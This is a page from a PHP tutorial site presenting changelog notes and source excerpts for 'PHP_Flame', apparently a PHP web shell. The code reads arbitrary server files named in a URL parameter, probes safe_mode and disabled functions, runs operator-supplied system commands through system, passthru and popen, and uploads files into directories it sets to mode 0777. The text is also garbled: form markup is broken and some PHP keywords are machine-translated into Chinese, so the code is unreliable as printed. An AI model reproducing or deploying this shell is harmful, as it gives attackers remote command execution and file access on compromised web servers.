首頁 >後端開發 >php教程 >PHP_Flame(Version:Progress)的原始程式碼_PHP教學課程

PHP_Flame(Version:Progress)的原始程式碼_PHP教學課程

WBOY
WBOY原創
2016-07-21 16:09:24991瀏覽


I PHP_Flame (Version: Progress ) 的一些資訊:



*修正了無法下載檔案的BUG
*修正了無法傳回上級的BUG
*修正了程式碼編輯出現錯誤的BUG
......

*增加PHPINFO的功能
*增加多檔案下載的功能
*增加執行系統指令的功能
*增加程式碼查看功能
*增加伺服器安全探測功能
.......

*還有許多美化工作。 。 。 。 。 。 相關的資料:


1。修正了無法回上上級的BUG的程式碼:
echo "回上級";


2。修正了無法下載檔案的相關程式碼:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的檔案不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;



3。增加程式碼查看功能
檔案代碼


4。修正了程式碼編輯出現錯誤的程式碼:
$tem= str_replace("/textarea>","//textarea>",$tem);
。 。 。 。 。
$tem= str_replace("//textarea>","/textarea>",$tem);


5。增加伺服器安全性偵測功能:
if (get_cfg_var("safe_mode"))echo"on
";else echo"off
";
echo "* disable_functions:";$dis_func=get_cfg_var( "disable_functions");
if ($dis_func=="")
{
echo("no value");
}
else
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
", $dis_func);
echo("$dis_func");
}


6。執行系統指令部分的程式碼:

if ($actionaa=="cmd") { ?>;




>系統選項>
>passthru
>show_source
>opendir;
>popen;
選擇>






表格>

if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME
";
echo "* 作者:JSW
";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on
" ;else echo"off
";
echo "*disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo🎜>echo ("無價值");
}
其他
{
$dis_func=str_replace(" ","
",$dis_func);
$dis_func=str_replace(",","
",$dis_func);
echo("$dis_func");
}

echo "
* 現在請選擇一個功能並輸入指令......";
}
echo "
"; <br>if ($method=="system ") { <br>system("$cmd 2>&1"); <br>} <br>if ($method=="passthru") { <br>passthru("$cmd 2>&1"); <br>} <br>if ($method=="opendir") { <br>$h=opendir($cmd); <br>while($file=readdir($h)) { <br>echo "$ filen"; <br>} <br>} <br>if ($method=="show_source") { <br>if (show_source($cmd)) { <br>//echo "<pre class="brush:php;toolbar:false">"; <br>//echo show_source($file); <br>//echo "
";
} else {
echo "<script>alert("無法讀取檔案: $file using: show_source"); </script>";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1' , 'r');
$read = fread($pp, 2096);
回顯$read;
pclose($pp);
}
echo " ";
退出;
}
? >

7。增加檔案上載的程式碼:
if($dir=="")
$dir="./";
?>

if( $tools==upload)
{
for($i=1;$i{
$temp1="userfile".$i;
$temp2 ="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir, 0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink ($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆寫
";
}
else
echo $source_name."請重新上傳!
";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上傳
";
}
}
}//end for
echo"


JSW'S PHP FLAME


陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn